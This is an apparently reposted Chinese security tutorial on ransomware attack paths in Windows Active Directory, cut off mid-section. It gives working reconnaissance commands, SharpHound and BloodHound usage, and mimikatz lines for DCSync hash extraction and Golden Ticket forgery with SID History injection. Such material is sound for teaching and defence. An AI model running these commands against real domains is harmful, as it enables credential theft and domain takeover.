第13篇-Windows域环境中的勒索攻击路径"

admin 2026-10-19 18:41:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

第13篇-Windows域环境中的勒索攻击路径

原创

pandazhengzheng
pandazhengzheng

安全分析与研究

2026年8月18日 22:00
广东

在小说阅读器读本章

去阅读

一、Windows域环境攻击面总览

1.1 Active Directory架构概述(攻击者视角)

Active Directory(AD)是Windows域环境的核心身份与访问管理基础设施,承载着企业网络中几乎所有的认证、授权和审计功能。从攻击者视角审视,AD不仅是一个目录服务,更是一张包含所有用户、计算机、组和信任关系的攻击地图。

AD的核心组件及其安全意义如下表所示:

AD组件 功能描述 攻击价值
Domain Controller (DC) 存储AD数据库(NTDS.DIT),处理Kerberos/NTLM认证 最高价值目标,控制DC即控制全域
NTDS.DIT AD数据库文件,存储所有用户密码哈希 包含所有域用户凭据,可直接离线破解
SYSVOL 存储GPO策略文件,域内所有机器可读 可能包含GPP中残留的明文密码
krbtgt账户 Kerberos票据授予服务(TGS)的账户 Golden Ticket攻击的核心目标
AdminSDHolder 保护高权限组对象的ACL容器 持久化后门的关键位置
Domain Admins 域管理员组 域内最高权限,可管理所有域成员
Enterprise Admins 企业管理员组 林范围最高权限,跨域控制
Schema Admins 架构管理员组 可修改AD架构,影响整个林
DNS Admins DNS管理员组 可执行DLL注入,潜在提权至SYSTEM
Group Policy Creator Owners GPO创建者组 可修改GPO实现全域代码执行

AD数据库(NTDS.DIT)存储在域控的%SystemRoot%\\NTDS\\目录下,其内部结构包含以下关键表:

NTDS.DIT内部结构
├── datatable        -- 存储所有AD对象(用户、计算机、组等)
├── link_table       -- 存储对象间的关系(组成员、ACL等)
├── sd_table         -- 存储安全描述符
├── hidden_table     -- 内部元数据
└── quota_table      -- 存储配额信息

1.2 域环境常见攻击路径

域环境中的勒索攻击通常遵循一条从外围到核心的路径。以下展示了攻击者从初始访问到全域加密的典型攻击链:

初始访问                    凭据窃取                    横向移动                    域控攻陷                    全域加密
┌──────────┐           ┌──────────┐           ┌──────────┐           ┌──────────┐           ┌──────────┐
│ 钓鱼邮件  │           │ LSASS    │           │ PTH/PTT  │           │ DCSync   │           │ GPO下发  │
│ 漏洞利用  │──────────▶│ 转储     │──────────▶│ PsExec   │──────────▶│ Golden   │──────────▶│ WMI批量  │
│ 供应链    │           │ Kerberoast│           │ WMI      │           │ Ticket   │           │ 计划任务  │
│ RDP暴破   │           │ AS-REP   │           │ RDP      │           │ DSRM     │           │ 脚本分发  │
└──────────┘           └──────────┘           └──────────┘           └──────────┘           └──────────┘

攻击路径的关键特征在于其链式依赖关系。每一步的成功都依赖于前一步获取的信息或权限:

攻击阶段 依赖前置条件 获取成果 持续时间
初始访问 无 普通用户权限shell 数分钟至数周
域侦察 域内任意账户 域拓扑、高价值目标 数小时至数天
凭据窃取 本地管理员权限 域用户哈希/票据 数分钟至数小时
域提权 域用户账户 域管理员权限 数小时至数天
横向移动 域管理员凭据 域控访问权限 数分钟至数小时
全域加密 域控管理员权限 全域加密执行 数小时

1.3 域环境为何成为勒索攻击的首要目标

域环境之所以成为勒索攻击的理想目标,源于其架构特性带来的多重安全悖论:

集中化管理的双刃剑效应:AD的集中化设计初衷是简化管理,但同时也意味着攻陷单一控制点即可影响整个域。一个Domain Admin账户的凭据泄露,等同于整个域的沦陷。

信任关系的传递性:域信任关系允许用户在一个域中获得对另一个域资源的访问权限。这种传递性信任使得攻击者可以从一个低安全级别的域向高安全级别的域横向移动。

默认配置的安全缺陷:Windows域环境的默认配置优先考虑可用性而非安全性。以下列举了常见的默认配置问题:

默认配置 安全影响 利用方式
SMB签名非强制 允许NTLM中继攻击 NTLM Relay
LDAP签名非强制 允许LDAP中继 LDAP Relay
NTLM认证默认启用 哈希可被传递使用 Pass-the-Hash
Kerberos RC4加密支持 弱加密可被离线破解 Kerberoasting
GPP密码存储(旧版) 密码可被解密 SYSVOL密码提取
未启用LDAP通道绑定 允许LDAP中继 LDAP Relay
未启用LDAP签名 允许中间人攻击 LDAP中间人
默认ACL过于宽松 普通用户可枚举大量信息 AD信息收集
AdminSDHolder默认ACL 可被利用植入后门 持久化
DSRM密码与DC密码不同步 可被独立利用 DSRM后门

横向移动的便利性:域环境内置的管理协议(WMI、WinRM、PsExec等)为攻击者提供了天然的横向移动通道,无需额外部署工具即可在域内自由移动。

二、初始访问与域侦察

2.1 域加入机器的初始入侵

攻击者获取域内初始立足点的方式多种多样,以下按入侵向量分类详细说明:

2.1.1 终端入侵向量

入侵向量 技术细节 获取权限 检测难度
钓鱼邮件+宏 Word/Excel宏下载并执行Payload 普通域用户 中
钓鱼邮件+HTA mshta.exe执行远程脚本 普通域用户 中
钓鱼邮件+LNK 快捷方式文件执行PowerShell 普通域用户 高
RDP暴力破解 字典攻击弱密码 本地/域用户 低
VPN凭据窃取 网络钓鱼获取VPN凭据 远程访问权限 中
供应链攻击 软件更新劫持/第三方组件 取决于软件权限 极高
漏洞利用 公网服务漏洞(ProxyLogon等) SYSTEM/服务账户 高
水坑攻击 供应链或常用网站植入 普通域用户 极高

2.1.2 初始访问后的域环境感知

一旦获得域内机器的访问权限,攻击者首先需要确认当前环境是否为域环境以及自身在域中的位置:

# 检查是否在域环境中
systeminfo | findstr /B /C:\"Domain\"
nltest /dsgetdc:域名
echo %USERDOMAIN%
echo %LOGONSERVER%

# 获取当前用户信息
whoami /all
whoami /groups

# 获取域控制器列表
nltest /dclist:域名
net group \"Domain Controllers\" /domain

# 获取域管理员列表
net group \"Domain Admins\" /domain

# 获取所有域用户
net user /domain

# 获取所有域计算机
net group \"Domain Computers\" /domain

2.2 AD枚举技术

AD枚举是攻击者在域内进行侦察的核心活动。通过枚举,攻击者可以绘制出完整的域拓扑图,识别高价值目标和攻击路径。

2.2.1 LDAP查询枚举

LDAP(轻量级目录访问协议)是AD的查询接口,攻击者可以通过LDAP查询获取大量域信息:

# 使用PowerShell进行LDAP查询

# 查询所有域用户
([ADSI]\"LDAP://CN=Users,DC=domain,DC=com\").Children | Select-Object name, sAMAccountName

# 查询所有启用的用户账户
Get-ADUser -Filter {Enabled -eq $true} -Properties *

# 查询所有具有SPN的账户(Kerberoasting目标)
Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName

# 查询所有域管理员
Get-ADGroupMember \"Domain Admins\" -Recursive

# 查询所有计算机账户
Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate

# 查询域信任关系
Get-ADTrust -Filter *

# 查询GPO信息
Get-GPO -All | Select-Object DisplayName, GpoStatus

# 查询OU结构
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

# 查询具有委派权限的账户
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter {TrustedForDelegation -eq $true}

以下列举了攻击者最关注的LDAP属性及其安全含义:

LDAP属性 存储内容 攻击利用
sAMAccountName 用户登录名 用户枚举
servicePrincipalName 服务主体名称 Kerberoasting目标识别
userAccountControl 账户控制标志 识别禁用/锁定/委派账户
memberOf 组成员关系 权限路径分析
msDS-AllowedToDelegateTo 约束委派目标 委派攻击
pwdLastSet 密码最后设置时间 识别弱密码策略
lastLogonTimestamp 最后登录时间 识别活跃账户
adminCount 是否受AdminSDHolder保护 高权限账户识别
scriptPath 登录脚本路径 识别可篡改的脚本
gPLink 链接的GPO GPO攻击目标识别

2.2.2 BloodHound与SharpHound

BloodHound是域环境攻击路径分析的核心工具,它通过图数据库可视化展示AD中的攻击路径。SharpHound是其数据采集器。

SharpHound数据采集方法:

# 基本采集
SharpHound.exe -c all

# 仅采集特定集合
SharpHound.exe -c Group,LocalAdmin,Session

# 指定域控进行会话采集
SharpHound.exe -c SessionLoop --domaincontroller DC01.domain.com

# 使用指定凭据采集
SharpHound.exe -c all --domain domain.com --ldapusername user --ldappassword pass

# Stealth模式(减少检测风险)
SharpHound.exe -c all --stealth

# 仅收集ACL信息
SharpHound.exe -c ACL

# 收集信任关系
SharpHound.exe -c Trusts

# 收集容器信息
SharpHound.exe -c Container

BloodHound采集的数据集及其攻击价值:

数据集 采集内容 攻击价值
LocalAdmins 本地管理员组成员 识别横向移动路径
Sessions 活跃登录会话 定位高权限用户会话
GroupMembers 组成员关系 权限继承路径分析
ACLs 访问控制列表 权限滥用路径
Trusts 域信任关系 跨域攻击路径
GPOs 组策略对象 GPO滥用路径
OU 组织单位结构 理解组织架构
Container 容器对象 深层权限分析
ObjectProps 对象属性 SPN/委派信息

BloodHound关键查询路径:

// 查找从当前用户到Domain Admins的所有路径
MATCH p=shortestPath((u:User {sAMAccountName:\"USERNAME\"})-[*1..]->(g:Group {name:\"DOMAIN [email protected]\"}))
RETURN p

// 查找所有具有DCSync权限的路径
MATCH p=shortestPath((u:User)-[*1..]->(d:Domain))
WHERE u <> d
RETURN p

// 查找所有可以通过Kerberoasting攻击的路径
MATCH (u:User {hasspn:true})
RETURN u

// 查找所有具有本地管理员权限的用户
MATCH (u:User)-[:AdminTo]->(c:Computer)
RETURN u.name, c.name

// 查找所有具有委派权限的计算机
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name

// 查找从某台计算机到域控的路径
MATCH p=shortestPath((c:Computer {name:\"[email protected]\"})-[*1..]->(t:Domain))
RETURN p

2.2.3 域信任关系利用

域信任关系是AD林和多域环境中的关键安全边界。攻击者可以利用信任关系从一个域向另一个域扩展攻击:

信任类型 方向 安全影响 攻击方式
父子信任 双向可传递 子域可攻击父域 SID History注入
林信任 双向/单向 跨林攻击 信任密钥窃取
外部信任 单向/双向非传递 有限跨域访问 信任密钥利用
林根信任 双向可传递 跨林Kerberos ForgeTrust攻击

SID History攻击(子域到父域提权):

攻击前提:攻击者已控制子域的域控
攻击原理:利用SID History属性将父域的Enterprise Admins SID (519)注入到子域用户
攻击结果:子域用户获得父域Enterprise Admins权限

攻击流程:
1. 获取子域域控权限
2. 使用mimikatz提取krbtgt哈希
3. 伪造包含父域Enterprise Admins SID的TGT
4. 使用伪造的TGT访问父域资源
# SID History攻击 - Mimikatz
# 提取子域krbtgt哈希
mimikatz # lsadump::dcsync /domain:child.domain.com /user:child\\krbtgt

# 获取父域krbtgt的SID
mimikatz # lsadump::dcsync /domain:domain.com /user:domain\\krbtgt

# 伪造Golden Ticket并注入SID History
mimikatz # kerberos::golden /user:Administrator /domain:child.domain.com /sid:S-1-5-21-CHILD_DOMAIN_SID /sids:S-1-5-21-PARENT_DOMAIN_SID-519 /krbtgt:HASH /ptt

2.3 SPN扫描与用户枚举

SPN(Service Principal Name)是Kerberos认证中标识服务实例的唯一标识符。攻击者可以通过SPN扫描发现域内运行的服务及其关联账户,这是Kerberoasting攻击的前置步骤。

2.3.1 SPN扫描技术

# 使用setspn枚举SPN
setspn -T domain.com -Q */*

`


第13篇-Windows域环境中的勒索攻击路径" 网络安全文章

第13篇-Windows域环境中的勒索攻击路径"

本文深入分析Windows域环境勒索攻击路径,从攻击者视角剖析AD架构核心组件及攻击价值,详细阐述从初始访问到全域加密的链式攻击流程,并介绍BloodHound等侦察工具。关键发现:域环境集中管理带来安全悖论,默认配置缺陷如SMB签名未强制为攻击者提供便利。建议加强AD安全配置,监控异常LDAP查询,限制高权限账户使用。
LanceMeetup2026·上海站|正式开启报名!" 网络安全文章

LanceMeetup2026·上海站|正式开启报名!"

LanceMeetup2026上海站将于9月12日举办,由Lance&LanceDB中文社区、字节跳动开源和英特尔联合主办。活动聚焦多模态数据、具身智能、向量存储与开源生态,包含硬核实战分享、开源产业对话等亮点。建议感兴趣者扫描二维码报名,名额有限。
物流巨头CEVA遭攻击,Steam、宝可梦中心数据外泄" 网络安全文章

物流巨头CEVA遭攻击,Steam、宝可梦中心数据外泄"

物流巨头CEVA欧洲系统遭入侵,致宝可梦中心、Steam等品牌用户订单数据泄露,含姓名地址等,未涉支付凭证。此事件凸显供应链安全短板,攻击者借第三方单点突破批量获利。泄露数据结合AI易发起定向钓鱼诈骗,建议用户仅通过官方渠道核实物流通知,防范社会工程学攻击。
评论:0   参与:  0